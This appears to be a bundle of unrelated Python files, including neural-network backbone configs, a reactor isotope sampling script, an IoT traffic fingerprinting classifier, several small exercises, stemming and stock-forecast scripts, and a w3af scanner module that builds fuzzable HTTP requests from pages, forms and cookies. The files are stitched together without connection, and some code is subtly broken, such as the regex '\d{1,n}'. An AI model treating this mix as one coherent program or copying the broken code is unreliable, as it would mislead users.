        stage4_num_blocks=[4, 4, 4, 4],
        stage4_num_channels=[30, 60, 120, 240],
        **kwargs)
    return model

@manager.BACKBONES.add_component
def HRNet_W32(**kwargs):
    model = HRNet(
        stage1_num_modules=1,
        stage1_num_blocks=[4],
        stage1_num_channels=[64],
        stage2_num_modules=1,
        stage2_num_blocks=[4, 4],
        stage2_num_channels=[32, 64],
        stage3_num_modules=4,
        stage3_num_blocks=[4, 4, 4],
        stage3_num_channels=[32, 64, 128],
        stage4_num_modules=3,
        stage4_num_blocks=[4, 4, 4, 4],
        stage4_num_channels=[32, 64, 128, 256],
        **kwargs)
    return model

@manager.BACKBONES.add_component
def HRNet_W40(**kwargs):
    model = HRNet(
        stage1_num_modules=1,
        stage1_num_blocks=[4],
        stage1_num_channels=[64],
        stage2_num_modules=1,
        stage2_num_blocks=[4, 4],
        stage2_num_channels=[40, 80],
        stage3_num_modules=4,
        stage3_num_blocks=[4, 4, 4],
        stage3_num_channels=[40, 80, 160],
        stage4_num_modules=3,
        stage4_num_blocks=[4, 4, 4, 4],
        stage4_num_channels=[40, 80, 160, 320],
        **kwargs)
    return model

@manager.BACKBONES.add_component
def HRNet_W44(**kwargs):
    model = HRNet(
        stage1_num_modules=1,
        stage1_num_blocks=[4],
        stage1_num_channels=[64],
        stage2_num_modules=1,
        stage2_num_blocks=[4, 4],
        stage2_num_channels=[44, 88],
        stage3_num_modules=4,
        stage3_num_blocks=[4, 4, 4],
        stage3_num_channels=[44, 88, 176],
        stage4_num_modules=3,
        stage4_num_blocks=[4, 4, 4, 4],
        stage4_num_channels=[44, 88, 176, 352],
        **kwargs)
    return model

@manager.BACKBONES.add_component
def HRNet_W48(**kwargs):
    model = HRNet(
        stage1_num_modules=1,
        stage1_num_blocks=[4],
        stage1_num_channels=[64],
        stage2_num_modules=1,
        stage2_num_blocks=[4, 4],
        stage2_num_channels=[48, 96],
        stage3_num_modules=4,
        stage3_num_blocks=[4, 4, 4],
        stage3_num_channels=[48, 96, 192],
        stage4_num_modules=3,
        stage4_num_blocks=[4, 4, 4, 4],
        stage4_num_channels=[48, 96, 192, 384],
        **kwargs)
    return model

@manager.BACKBONES.add_component
def HRNet_W60(**kwargs):
    model = HRNet(
        stage1_num_modules=1,
        stage1_num_blocks=[4],
        stage1_num_channels=[64],
        stage2_num_modules=1,
        stage2_num_blocks=[4, 4],
        stage2_num_channels=[60, 120],
        stage3_num_modules=4,
        stage3_num_blocks=[4, 4, 4],
        stage3_num_channels=[60, 120, 240],
        stage4_num_modules=3,
        stage4_num_blocks=[4, 4, 4, 4],
        stage4_num_channels=[60, 120, 240, 480],
        **kwargs)
    return model

@manager.BACKBONES.add_component
def HRNet_W64(**kwargs):
    model = HRNet(
        stage1_num_modules=1,
        stage1_num_blocks=[4],
        stage1_num_channels=[64],
        stage2_num_modules=1,
        stage2_num_blocks=[4, 4],
        stage2_num_channels=[64, 128],
        stage3_num_modules=4,
        stage3_num_blocks=[4, 4, 4],
        stage3_num_channels=[64, 128, 256],
        stage4_num_modules=3,
        stage4_num_blocks=[4, 4, 4, 4],
        stage4_num_channels=[64, 128, 256, 512],
        **kwargs)
    return model


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sun Mar  4 10:45:26 2018

@author: rabab
"""

import numpy as np
from Newt_format import  Isotopes_of_interest
from sampling import locs, UQ_data
import scipy.io as spio
import json
import pickle

no_samples = 100
no_snapshots = 100

########## No perturbation case ###########

pop_mean = np.zeros((len(locs),len(Isotopes_of_interest), no_snapshots ))
fname = './RefCase/Triga_2D_Unperturbed.0000000000000000{}.plt'
for loc in range(1, len(locs)+1):
        name = '0' + str(loc) if loc<10 else loc
        pop_mean[loc-1, :, :] = np.loadtxt(fname.format(name), skiprows = 6, usecols = range(101)[1:])[:-2]

fname = './samples/sample{}/sample{}.0000000000000000{}.plt'
results = np.zeros((len(locs), len(Isotopes_of_interest), no_snapshots, no_samples))
samples = np.zeros(results.shape[:3]) # the samples are the isotopes at time=0

# collecting the samples for each core location
for sample in range(no_samples):
    for loc in range(1, len(locs)+1):
        name = '0' + str(loc) if loc<10 else loc
        results[loc-1, :, :, sample] = np.loadtxt(fname.format(sample,sample, name), skiprows = 6, usecols = range(101)[1:])[:-2]
        samples[loc-1, :, sample] = results[loc-1, :, 0,  sample]

fname = './samples/sample{}/core_comp.json'
#
samples_in = {}
for element in locs.keys():
    samples_in[locs[element]] = {}
    for Iso in Isotopes_of_interest:
        samples_in[locs[element]][Iso] = np.zeros(no_samples)

for sample in range(no_samples):
    with open(fname.format(sample)) as f:
        comp = json.load(f)
        for element in comp.keys():
            for Iso in Isotopes_of_interest:
                samples_in[locs[element]][Iso][sample]= comp[element][Iso]

with open ('fullcore_newt_results.p','wb') as f:
    pickle.dump({'results': results, 'unperturbed':pop_mean,'samples': samples, 'elements_data' :UQ_data }, f)


from classifier.base import Classifier

import pickle

from sklearn.ensemble import GradientBoostingClassifier
import numpy as np

IP = 0
ICMP = 1
ICMPv6 = 2
EAPoL = 3
TCP = 4
UDP = 5
HTTP = 6
HTTPS = 7
DHCP = 8
BOOTP = 9
SSDP = 10
DNS = 11
MDNS = 12
NTP = 13
IP_OPTION_PADDING = 14
IP_OPTION_RA = 15
ENTROPY = 16
TCP_WINDOW_SIZE = 17
TCP_PAYLOAD_LENGTH = 18

class IoTSenseClassifier(Classifier):
    '''
    Bezawada, B., Bachani, M., Peterson, J., Shirazi, H., Ray, I., & Ray, I. (2018).
    Iotsense: Behavioral fingerprinting of iot devices.
    arXiv preprint arXiv:1804.03852.
    '''

    def __init__(self, interval, entropy_feature_archive):
        super(IoTSenseClassifier, self).__init__()
        self.tag = 'iot-sense'
        self.interval = interval
        self._entropy_feature_archive = entropy_feature_archive
        self.selected_features = ['timestamp', 'size', 'address_src', 'address_dst', 'ip_proto', 'ip_opt_padding',
                                  'ip_opt_ra', 'tcp_srcport', 'tcp_dstport', 'tcp_window_size', 'tcp_len',
                                  'udp_srcport', 'udp_dstport', 'http', 'ntp'
                                  ]

    @staticmethod
    def _get_sample(packet_series, dataset):
        for addr, packet_vectors in packet_series.items():
            interval_vector = []
            for i in range(0, len(packet_vectors), 5):
                feature_vector = []
                if i + 5 < len(packet_vectors):
                    for j in range(i, i + 5):
                        feature_vector.extend(packet_vectors[j])
                    interval_vector.append(feature_vector)
            if interval_vector:
                dataset[addr].append(interval_vector)

    def get_dataset(self, raw_dataset, generator):
        instance_index = 0
        dataset = {addr: [] for addr in raw_dataset.iot_list.values()}
        packet_series = {addr: [] for addr in raw_dataset.iot_list.values()}
        entropy_feature = open(self._entropy_feature_archive, 'r')
        for t, addr_src, addr_dst, ip_proto, eth_type, ip_option_padding, ip_option_ra, tcp_srcport, tcp_dstport, \
                tcp_window_size, tcp_len, udp_srcport, udp_dstport, http, ntp in generator:
            t = int(float(t))
            entropy = entropy_feature.readline().split(',')[-1].strip()
            entropy = float(entropy) if entropy else 0
            if instance_index and t // self.interval != instance_index:
                self._get_sample(packet_series, dataset)
                instance_index = t // self.interval
                packet_series = {mac: [] for mac in raw_dataset.iot_list.values()}
            if not instance_index:
                instance_index = t // self.interval
            packet_vector = [0] * 19
            if eth_type == '0x00008e88':
                packet_vector[EAPoL] = 1
            elif eth_type == '0x00000800' or eth_type == '0x000086dd':
                packet_vector[IP] = 1
                packet_vector[ENTROPY] = entropy
                if ip_option_padding:
                    packet_vector[IP_OPTION_PADDING] = 1
                if ip_option_ra:
                    packet_vector[IP_OPTION_RA] = 1
                if ip_proto == '6':
                    packet_vector[TCP] = 1
                    packet_vector[TCP_WINDOW_SIZE] = int(tcp_window_size) if tcp_window_size else 0
                    packet_vector[TCP_PAYLOAD_LENGTH] = int(tcp_len) if tcp_len else 0
                    if http:
                        packet_vector[HTTP] = 1
                    if tcp_srcport == '443' or tcp_dstport == '443':
                        packet_vector[HTTPS] = 1
                elif ip_proto == '17':
                    packet_vector[UDP] = 1
                    if ntp:
                        packet_vector[NTP] = 1
                    elif udp_srcport == '53' or udp_dstport == '53':
                        packet_vector[DNS] = 1
                    elif udp_srcport == '5353' or udp_dstport == '5353':
                        packet_vector[MDNS] = 1
                    elif udp_srcport in ['67', '68'] or udp_dstport in ['67', '68']:
                        packet_vector[DHCP] = 1
                        packet_vector[BOOTP] = 1
                    elif udp_srcport == '1900' or udp_dstport == '1900':
                        packet_vector[SSDP] = 1
                elif ip_proto == '1':
                    packet_vector[ICMP] = 1
            else:
                continue
            if addr_src in raw_dataset.iot_list.values():
                packet_series[addr_src].append(packet_vector)
            if addr_dst in raw_dataset.iot_list.values():
                packet_series[addr_dst].append(packet_vector)
        self._get_sample(packet_series, dataset)
        return dataset

    def train_model(self, dataset, training_set_archive):
        with open(training_set_archive, 'rb') as f:
            train_set = pickle.load(f)
        models = {addr: None for addr in dataset.iot_list.values()}
        for addr in dataset.iot_list.values():
            x, y = [], []
            for sample_addr, features in train_set.items():
                for feature in features:
                    x.append(feature)
                    if sample_addr == addr:
                        y.append(1)
                    else:
                        y.append(2)
            x_train, y_train = np.array(x), np.array(y)
            gbdt = GradientBoostingClassifier(n_estimators=100, learning_rate=1.0, max_depth=1)
            gbdt.fit(x_train, y_train)
            models[addr] = gbdt
        final_models = {k: v for k, v in models.items() if v}
        self.model = final_models

    def test(self, dataset, test_set_archive=None):
        with open(test_set_archive, 'rb') as f:
            test_set = pickle.load(f)
        true_count, false_count = 0, 0
        for addr, features in test_set.items():
            for feature in features:
                y_counter = {}
                for F in feature:
                    x_test = np.array([F])
                    result, p = '', 0.0
                    for test_addr, model in self.model.items():
                        y_predict = model.predict_proba(x_test)
                        if y_predict[0][0] > y_predict[0][1] and y_predict[0][0] > p:
                            p = y_predict[0][0]
                            result = test_addr
                    if result:
                        y_counter[result] = y_counter.get(result, 0) + 1
                result, max_count = -1, 0
                for k, v in y_counter.items():
                    if v > max_count:
                        max_count = v
                        result = k
                if result == addr:
                    true_count += 1
                else:
                    false_count += 1
            print(true_count, true_count + false_count, true_count / (true_count + false_count))
        accuracy = true_count / (true_count + false_count)
        print(accuracy)
        return accuracy


from __future__ import print_function, unicode_literals

from collections import namedtuple

DEFAULT_EXCLUDE_FIELDS = ["id", "deprel", "xpostag", "feats", "head", "deps", "misc"]

TreeNode = namedtuple('TreeNode', ['data', 'children'])

def create_tree(node_children_mapping, start=0):
    subtree = [
        TreeNode(child, create_tree(node_children_mapping, child["id"]))
        for child in node_children_mapping[start]
    ]
    return subtree

def print_tree(node, **kwargs):
    if isinstance(node, list):
        for tree in node:
            _print_one_tree(tree, **kwargs)
    else:
        _print_one_tree(node, **kwargs)

def _print_one_tree(node, depth=0, indent=4, exclude_fields=DEFAULT_EXCLUDE_FIELDS):
    assert isinstance(node, TreeNode), "node not TreeNode %s" % type(node)

    relevant_data = node.data.copy()
    for key in exclude_fields:
        if key in relevant_data:
            del relevant_data[key]

    node_repr = " ".join([
        "{key}:{value}".format(key=key, value=value)
        for key, value in relevant_data.items()
    ])

    print(" " * indent * depth + "(deprel:{deprel}) {node_repr} [{idx}]".format(
        deprel=node.data["deprel"],
        node_repr=node_repr,
        idx=node.data["id"],
    ))
    for child in node.children:
        _print_one_tree(child, depth + 1, indent=indent, exclude_fields=exclude_fields)


# -*- coding: utf-8 -*-
# __author__ = 'xuxi_20210729'

import os
from biocluster.workflow import Workflow
import datetime
import unittest
import types
import os
import glob
from Bio import SeqIO
from biocluster.core.exceptions import OptionError

class CorrheatmapWorkflow(Workflow):
    """
    Corrheatmap base R package Corrheatmap
    """
    def __init__(self, wsheet_object):
        self._sheet = wsheet_object
        super(CorrheatmapWorkflow, self).__init__(wsheet_object)
        options = [
            {"name": "infile", "type": "infile", "format": "ref_rna_v2.common"},
            {"name": "type", "type": "string", 'default': 'full'},
            {"name": "method", "type": "string", 'default': "circle"},
            {"name": "color", "type": "string", 'default': "Spectral"},
            {"name": "corr_method", "type": "string", 'default': "pearson"},
            {"name": "corr_adjust", "type": "string", 'default': 'holm'},
            {"name": "show_significance", "type": "string", 'default': 'yes'},
            {"name": "in_significance", "type": "string", 'default': 'pch'},
            {"name": "show_coefficient", "type": "string", 'default': 'no'},
            {"name": "main_id", "type": "string"},
            {'name': 'update_info', 'type': 'string'}
        ]
        self.add_option(options)
        self.revise_infiles()
        self.Corrheatmap = self.add_tool("tool_lab.corrheatmap")
        self.set_options(self._sheet.options())

    def run(self):
        self.run_Corrheatmap()
        super(CorrheatmapWorkflow, self).run()

    def check_options(self):
        if not self.option("infile").is_set:
            raise OptionError("必须设置输入表达量文件")
        return True

    def run_Corrheatmap(self):
        opts = {
            "infile":self.option('infile').prop['path'],
            "type":self.option('type'),
            "method":self.option('method'),
            "color":self.option('color'),
            "corr_method":self.option('corr_method'),
            "corr_adjust":self.option('corr_adjust'),
            "show_significance":self.option('show_significance'),
            "in_significance":self.option('in_significance'),
            "show_coefficient":self.option('show_coefficient')
        }
        self.Corrheatmap.set_options(opts)
        self.Corrheatmap.on('end', self.set_db)
        self.Corrheatmap.run()

    def set_db(self):
        """
        保存结果表到mongo数据库中
        """
        if os.path.exists(os.path.join(self.Corrheatmap.output_dir, 'corr_heatmap.pdf')):
            pdf_s3_path = os.path.join(self._sheet.output,"corr_heatmap.pdf")
        else:
            pdf_s3_path = None
        Circularbar_api = self.api.api('tool_lab.corrheatmap')
        Circularbar_api.add_corrheatmap(
            s3_output=pdf_s3_path,
            main_id = self.option('main_id'),
        )
        self.end()

    def end(self):
        result_dir = self.add_upload_dir(self.Corrheatmap.output_dir)
        result_dir.add_relpath_rules([
            [".", "", "相关性热图2.0",0],
            ['./corr_heatmap.pdf', '', '相关性热图2', 0],
        ])
        super(CorrheatmapWorkflow, self).end()

class TestFunction(unittest.TestCase):
    """
    This is test for the workflow. Just run this script to do test.
    """

    def test_this(self):
        cmd = 'python /mnt/ilustre/users/sanger-dev/biocluster/bin/webapitoollabtest.py '
        cmd += 'post toollabpipeline '
        cmd += '-c {} '.format("client03")
        cmd += "-b http://bcl.tsg.com "
        cmd += "-n \"params;basis\" -d \"{"
        args = dict(
            vcf_path='/mnt/ilustre/users/sanger-dev/sg-users/zhangyitong/test/tool_052021/bsa/pop.final.vcf',
            # wp='',
            # mp='HQS1',
            mb='XS11_1',
            wb='F44_mix',
        )
        config = dict(
            type="workflow",
            task_type="submit",
            name="tool_lab.bsa",
            main_table_name="sg_bsa",
            task_id="bsa",
            project_sn="bsa",
            submit_location="bsa"
        )
        for arg in args:
            cmd += "\\\""
            cmd += arg
            cmd += "\\\":\\\""
            cmd += args[arg]
            cmd += "\\\","
        cmd = cmd.rstrip(",")
        cmd += "};{"
        for arg in config:
            cmd += "\\\""
            cmd += arg
            cmd += "\\\":\\\""
            cmd += config[arg]
            cmd += "\\\","
        cmd = cmd.rstrip(",")
        cmd += "}\""

        print(cmd)
        os.system(cmd)

if __name__ == '__main__':
    unittest.main()


# As a joke
from random import randint, random

def bogo_sort(arr):
    while not is_sorted(arr):
        arr = permutation(arr)
    return arr

def is_sorted(arr):
    for i in range(len(arr) - 1):
        if arr[i] > arr[i+1]:
            return False
    return True

def permutation(arr):
    indexes = []
    for i in range(len(arr)):
        indexes.append(i)
    newArr = []
    for i in range(len(arr)):
        index = randint(0, len(indexes)-1)
        newArr.append(arr[indexes.pop(index)])
    return newArr

if __name__ == "__main__":
    array = []
    for i in range(10):
        array.append(random())
    bogo_sort(array)
    print("Sorted!")


n = int(input())
li = []
for i in range(n):
    a,b = map(int, input().split())
    li.append([a,b])
import math
def length(cor1,cor2):
    l = math.sqrt((cor2[0] - cor1[0])**2 + (cor2[1] - cor1[1])**2)
    return l

max = 0
for i in range(n-1):
    for k in range(i+1,n):
        if max < length(li[i], li[k]):
            max = length(li[i], li[k])
print(max)


import codecs
import pandas as pd
import string
# from keras.preprocessing import text, sequence

# load data into the memory
train = pd.read_csv('./data/train.tsv', sep='\t')
# print(train.head())
test = pd.read_csv('./data/test.tsv', sep='\t')
# print(test.head())

# define apply function to clean the data
def process_text(phrase):
    phrase = phrase.lower()
    punctuation = string.punctuation
    for punc in punctuation:
        phrase = phrase.replace(punc, ' {} '.format(punc))
    return phrase

x_train = train['Phrase'].apply(process_text)
x_test = test['Phrase'].apply(process_text)
y_train = train['Sentiment']

# extrct the corpus and save it to the disk
corpus = '\n'.join(list(x_train)+list(x_test))
f = codecs.open('./data/corpus.txt', 'w')
f.write(corpus)
f.close()
# tokenizer = text.Tokenizer()
# tokenizer.fit_on_texts(list(x_train) + list(x_test))


from StringIO import StringIO
import cgi
import json

from .httpPostDataRequest import httpPostDataRequest
from .httpQsRequest import HTTPQSRequest
from .jsonPostDataRequest import JSONPostDataRequest
from .wsPostDataRequest import wsPostDataRequest
from .xmlrpcRequest import XMLRPCRequest
from core.controllers.misc.encoding import smart_unicode
from core.controllers.w3afException import w3afException
from core.data.dc.cookie import Cookie
from core.data.dc.queryString import QueryString
from core.data.parsers.urlParser import parse_qs
from core.data.url.HTTPRequest import HTTPRequest
import core.controllers.outputManager as om
import core.data.kb.config as cf
import core.data.parsers.dpCache as dpCache
import core.data.parsers.wsdlParser as wsdlParser

__all__ = ['createFuzzableRequests', 'create_fuzzable_request']

def createFuzzableRequests(resp, request=None, add_self=True):
    '''
    Generates the fuzzable requests based on an http response instance.

    @parameter resp: An HTTPResponse instance.
    @parameter request: The HTTP request that generated the resp
    @parameter add_self: If I should add the current HTTP request
        (@parameter request) to the result on not.

    @return: A list of fuzzable requests.
    '''
    is_redirect = lambda resp: 300 <= resp.getCode() < 400
    res = []

    # Headers for all fuzzable requests created here:
    # And add the fuzzable headers to the dict
    headers = dict((h, '') for h in cf.cf.getData('fuzzableHeaders'))
    req_headers = dict(headers)
    req_headers.update(request and request.getHeaders() or {})

    # Get the cookie!
    cookieObj = _create_cookie(resp)

    # Create the fuzzable request that represents the request object
    # passed as parameter
    if add_self:
        qsr = HTTPQSRequest(
                    resp.getURI(),
                    headers=req_headers,
                    cookie=cookieObj
                    )
        res.append(qsr)

    # If response was a 30X (i.e. a redirect) then include the
    # corresponding fuzzable request.
    if is_redirect(resp):
        redir_headers = resp.getLowerCaseHeaders()
        location = redir_headers.get('location') or \
                        redir_headers.get('uri', '')
        if location:
            location = smart_unicode(location, encoding=resp.charset)
            try:
                absolute_location = resp.getURL().urlJoin(location)
            except ValueError:
                msg = 'The application sent a 30x redirect "Location:" that'
                msg += ' w3af failed to correctly parse as an URL, the header'
                msg += ' value was: "%s"'
                om.out.debug( msg % location )
            else:
                qsr = HTTPQSRequest(
                    absolute_location,
                    headers=req_headers,
                    cookie=cookieObj
                    )
                res.append(qsr)

    # Try to find forms in the document
    try:
        dp = dpCache.dpc.getDocumentParserFor(resp)
    except w3afException:
        # Failed to find a suitable parser for the document
        form_list = []
    else:
        form_list = dp.getForms()

    if not form_list:
        # Check if its a wsdl file
        wsdlp = wsdlParser.wsdlParser()
        try:
            wsdlp.setWsdl(resp.getBody())
        except w3afException:
            pass
        else:
            for rem_meth in wsdlp.getMethods():
                wspdr = wsPostDataRequest(
                                  rem_meth.getLocation(),
                                  rem_meth.getAction(),
                                  rem_meth.getParameters(),
                                  rem_meth.getNamespace(),
                                  rem_meth.getMethodName(),
                                  headers
                                  )
                res.append(wspdr)
    else:
        # Create one httpPostDataRequest for each form variant
        mode = cf.cf.getData('fuzzFormComboValues')
        for form in form_list:
            for variant in form.getVariants(mode):
                if form.getMethod().upper() == 'POST':
                    r = httpPostDataRequest(
                                        variant.getAction(),
                                        variant.getMethod(),
                                        headers,
                                        cookieObj,
                                        variant,
                                        form.getFileVariables()
                                        )
                else:
                    # The default is a GET request
                    r = HTTPQSRequest(
                                  variant.getAction(),
                                  headers=headers,
                                  cookie=cookieObj
                                  )
                    r.setDc(variant)

                res.append(r)
    return res

XMLRPC_WORDS = ('<methodcall>', '<methodname>', '<params>',
                '</methodcall>', '</methodname>', '</params>')
def create_fuzzable_request(req_url, method='GET', post_data='',
                            add_headers=None):
    '''
    Creates a fuzzable request based on the input parameters.

    @param req_url: Either a url_object that represents the URL or a
        HTTPRequest instance. If the latter is the case the `method` and
        `post_data` values are taken from the HTTPRequest object as well
        as the values in `add_headers` will be merged with the request's
        headers.
    @param method: A string that represents the method ('GET', 'POST', etc)
    @param post_data: A string that represents the postdata.
    @param add_headers: A dict that holds the headers. If `req_url` is a
        request then this dict will be merged with the request's headers.
    '''
    if isinstance(req_url, HTTPRequest):
        url = req_url.url_object
        post_data = str(req_url.get_data() or '')
        method = req_url.get_method()
        headers = dict(req_url.headers)
        headers.update(add_headers or {})
    else:
        url = req_url
        headers = add_headers or {}

    # Just a query string request! No postdata
    if not post_data:
        req = HTTPQSRequest(url, method, headers)

    else: # Seems to be something that has post data
        data = {}
        conttype = ''
        for hname in headers.keys(): # '.keys()' is just fine. Don't
            hnamelow = hname.lower() # remove it.
            if hnamelow == 'content-length':
                del headers[hname]
            elif hnamelow == 'content-type':
                conttype = headers.get('content-type', '').lower()

        # Case #1 - JSON request
        try:
            data = json.loads(post_data)
        except:
            pass

        if data:
            req = JSONPostDataRequest(url, method, headers, dc=data)

        # Case #2 - XMLRPC request
        elif all(map(lambda stop: stop in post_data.lower(), XMLRPC_WORDS)):
            req = XMLRPCRequest(post_data, url, method, headers)

        else:
            # Case #3 - multipart form data - prepare data container
            if conttype.startswith('multipart/form-data'):
                pdict = cgi.parse_header(conttype)[1]
                try:
                    dc = cgi.parse_multipart(StringIO(post_data), pdict)
                except:
                    om.out.debug('Multipart form data is invalid, the browser '
                                 'sent something weird.')
                else:
                    data = QueryString()
                    data.update(dc)
                    # We process multipart requests as x-www-form-urlencoded
                    # TODO: We need native support of multipart requests!
                    headers['content-type'] = \
                                        'application/x-www-form-urlencoded'

            # Case #4 - a typical post request
            else:
                try:
                    data = parse_qs(post_data)
                except:
                    om.out.debug('Failed to create a data container that '
                                 'can store this data: "' + post_data + '".')
            # Finally create request
            req = httpPostDataRequest(url, method, headers, dc=data)
    return req

def _create_cookie(httpResponse):
    '''
    Create a cookie object based on a HTTP response.
    '''
    cookies = []

    # Get data from RESPONSE
    responseHeaders = httpResponse.getHeaders()

    for hname, hvalue in responseHeaders.items():
        if 'cookie' in hname.lower():
            cookies.append(hvalue)

    cookie_inst = Cookie(''.join(cookies))

    #
    # delete everything that the browsers usually keep to themselves, since
    # this cookie object is the one we're going to send to the wire
    #
    for key in ['path', 'expires', 'domain', 'max-age']:
        try:
            del cookie_inst[key]
        except:
            pass

    return cookie_inst


# -*- coding: utf-8 -*-
"""
Created on Tue Apr  9 18:07:47 2019

Chapter 6 Praktikum

@author: Bakti Qilan
"""
from matplotlib import pyplot as plt

def pie(mod):
    if mod == 2:
        merk= [5,10,2,3]
        prog = [7,5,6,1]
        jns_merk = ['Acer','Asus','Lenovo','HP']
        programming = ['Perl','Java','C++','Python']
        cols = ['silver','lime','gold','aqua']
        plt.subplot(121)
        plt.pie(merk,
                 labels=jns_merk,
                 colors=cols,
                 startangle=0,
                 shadow= True,
                 explode=(0.2,0,0,0),
                 autopct='%1.1f%%')
        plt.title('Pie Laptop')

        plt.subplot(122)
        plt.pie(prog,
                 labels=programming,
                 colors=cols,
                 startangle=90,
                 shadow=True,
                 explode=(.1,0,0,0),
                 autopct='%1.1f%%')
        plt.title('Pie Programming')
        plt.show()
    else:
        print("Data tidak ada")

npm = input("Masukkan NPM Anda: ")
modnpm = int(npm)%3+2
print(modnpm)

if modnpm == 4:
    print("Data tidak ada")
elif modnpm == 3:
    print("Data tidak ada")
elif modnpm == 2:
    pie(2)
elif modnpm == 1:
    print("Data tidak ada")
else:
    print("Data tidak Valid")


import re
import time

from gensim.utils import simple_preprocess
from lib.morfologik_2_1.custom_pymorfologik import Morfologik, ListParser

syntax_split_keyword = 'syntaxsplit'

def translate_number(org_sentence):
    res = re.sub(r'\b\d+[.,!@#$%^&*()]+\d+\b', 'numnp', org_sentence)
    res = re.sub(r'([A-Za-z]+[\d@]+[\w@]*|[\d@]+[A-Za-z]+[\w@]*)', 'numwordn', res)
    res = re.sub(r'\b\d{1,n}\b', 'numnnn', res)
    # res = re.sub(r'\b\d{2}\b', 'numnn', res)
    # res = re.sub(r'\b\d{3}\b', 'numnnn', res)
    # res = re.sub(r'\b\d{4}\b', 'numnnnn', res)
    # res = re.sub(r'\b\d{5}\b', 'numnnnnn', res)  # !!!!  TODO (brak dla wiekszych liczb)

    return res

def preprocess(text, stemmer, parser):
    # text = translate_number(text)
    text = simple_preprocess(text, max_len=100, min_len=1)
    res = stem(text, stemmer, parser)
    # res = [stem(x) for x in text]

    return res

def repair(v):
    if 'mieć' in v[1]:
        key = 'mieć'
    elif 'kapitan' in v[1]:
        key = 'kapitan'
    else:
        key = next(iter(v[1]))

    return key

def stem(word, stemmer, parser):
    val_stemmed = stemmer.stem(word, parser)
    res = []

    # _not = []
    #
    # _vals = []
    # for tuple in val_stemmed:
    #     _vals.append(tuple[0])
    #
    # for w in word:
    #     if w not in _vals:
    #         _not.append(w)

    for v in val_stemmed:
        if len(v[1]) > 0:
            key = repair(v)
            value = v[1][key][0]
            res.append((key, value))
        else:
            res.append((v[0], 'NaN'))
    return res

def prepare_data(corpuse):
    res = (' ' + syntax_split_keyword + ' ').join(corpuse)

    return res

def decode_prepare_data(corpuse):
    doc = []
    res = []
    for word in corpuse:
        if word[0] == syntax_split_keyword:
            res.append(doc)
            doc = []
        else:
            doc.append(word)

    res.append(doc)
    return res

if __name__ == "__main__":
    start = time.time()
    parser = ListParser(syntaxsplit_word=syntax_split_keyword)
    stemmer = Morfologik()
    #
    # with open('../../data/temp/pl_whole_txt.pkl', 'rb') as file:
    #     corpuse = pickle.load(file)
    #
    # corpuse = prepare_data(corpuse)
    # corpuse = preprocess(corpuse)
    # corpuse = decode_prepare_data(corpuse)
    #
    # with open('../../data/temp/pl_stem_whole_txt.pkl', 'wb') as file:
    #     pickle.dump(corpuse, file)

    corpuse = ['mój korespondencja powinna być kierowana na mam poniższy adres: unesco']
    corpuse = ['wielkiej brytanii']
    corpuse = ['metabolizmie tam 123 sdf', 'skąd ludzie', ', , )', 'Rząd odrzucił ich żądania.']
    corpuse = prepare_data(corpuse)

    corpuse = preprocess(corpuse)
    corpuse = decode_prepare_data(corpuse)
    print(corpuse)
    # with open('../../data/temp/pl_whole_txt.pkl', 'rb') as file:
    #     pl_corp = pickle.load(file)

    # with Pool(46) as p:
    #     stemmed_corp = list(p.map(preprocess, pl_corp, chunksize=2048))
    #
    # with open('../../data/temp/pl_stem_whole_txt.pkl', 'wb') as file:
    #     pickle.dump(stemmed_corp, file)

    print("execution polish data processing took: " + "{:8.4f}".format(time.time() - start) + " for " + str(
        len(corpuse)) + " docs; avg time per doc = " + "{:4.6f}".format((time.time() - start) / len(corpuse)))


import math
import numpy as np
import pandas as pd
from datetime import date, datetime, time, timedelta
from sklearn.tree import DecisionTreeRegressor
from sklearn.linear_model import LinearRegression
from sklearn.model_selection import train_test_split
from sklearn.tree import export_graphviz
import matplotlib.pyplot as plt
from talib import RSI, BBANDS, MACD

from sklearn.preprocessing import StandardScaler
from sklearn.metrics import classification_report, confusion_matrix
from sklearn.metrics import mean_squared_error

plt.style.use('ggplot')

stockListPath = 'D:\\Personal\\share\\BasicData\\ALL-stocks.txt'
dataFolderPath = 'D:\\Personal\\share\\data'
resultFolderPath = 'D:\\Personal\\share\\results'

shareCode='PAP.N0000'

def get_preds_mov_avg(df, target_col, N, pred_min, offset):
    """
    Given a dataframe, get prediction at timestep t using values from t-1, t-2, ..., t-N.
    Using simple moving average.
    Inputs
        df         : dataframe with the values you want to predict. Can be of any length.
        target_col : name of the column you want to predict e.g. 'adj_close'
        N          : get prediction at timestep t using values from t-1, t-2, ..., t-N
        pred_min   : all predictions should be >= pred_min
        offset     : for df we only do predictions for df[offset:]. e.g. offset can be size of training set
    Outputs
        pred_list  : list. The predictions for target_col. np.array of length len(df)-offset.
    """
    pred_list = df[target_col].rolling(window = N, min_periods=1).mean() # len(pred_list) = len(df)

    # Add one timestep to the predictions
    pred_list = np.concatenate((np.array([np.nan]), np.array(pred_list[:-1])))

    # If the values are < pred_min, set it to be pred_min
    pred_list = np.array(pred_list)
    pred_list[pred_list < pred_min] = pred_min

    return pred_list[offset:]

# Prepare Data
df = pd.read_json(dataFolderPath+'\\' + shareCode + '.txt')

df['t'] = pd.to_datetime(df['t'], unit='s')
df['t'] = df['t'].dt.date

df.loc[:, 'date'] = pd.to_datetime(df['t'],format='%Y-%m-%d')

# Get month of each sample
df['month'] = df['date'].dt.month

# Sort by datetime
df.sort_values(by='date', inplace=True, ascending=True)

df.tail(10)

ax = df.plot(x='date', y='c', style='b-', grid=True)
ax.set_xlabel("date")
ax.set_ylabel("LKR")
#plt.show()

test_size = 0.2                 # proportion of dataset to be used as test set
cv_size = 0.2                   # proportion of dataset to be used as cross-validation set
Nmax = 25                       # for feature at day t, we use lags from t-1, t-2, ..., t-N as features
                                # Nmax is the maximum N we are going to test

# Get sizes of each of the datasets
num_cv = int(cv_size*len(df))
num_test = int(test_size*len(df))
num_train = len(df) - num_cv - num_test

# Split into train, cv, and test
train = df[:num_train]
cv = df[num_train:num_train+num_cv]
train_cv = df[:num_train+num_cv]
test = df[num_train+num_cv:]

# Plot Each data set (train, validation, test)
ax = train.plot(x='date', y='c', style='b-', grid=True)
ax = cv.plot(x='date', y='c', style='y-', grid=True, ax=ax)
ax = test.plot(x='date', y='c', style='g-', grid=True, ax=ax)
ax.legend(['train', 'validation', 'test'])
ax.set_xlabel("date")
ax.set_ylabel("LKR")
plt.title("Original Data Set")
plt.show()

# Function to calculate mape value
def get_mape(y_true, y_pred):
    """
    Compute mean absolute percentage error (MAPE)
    """
    y_true, y_pred = np.array(y_true), np.array(y_pred)
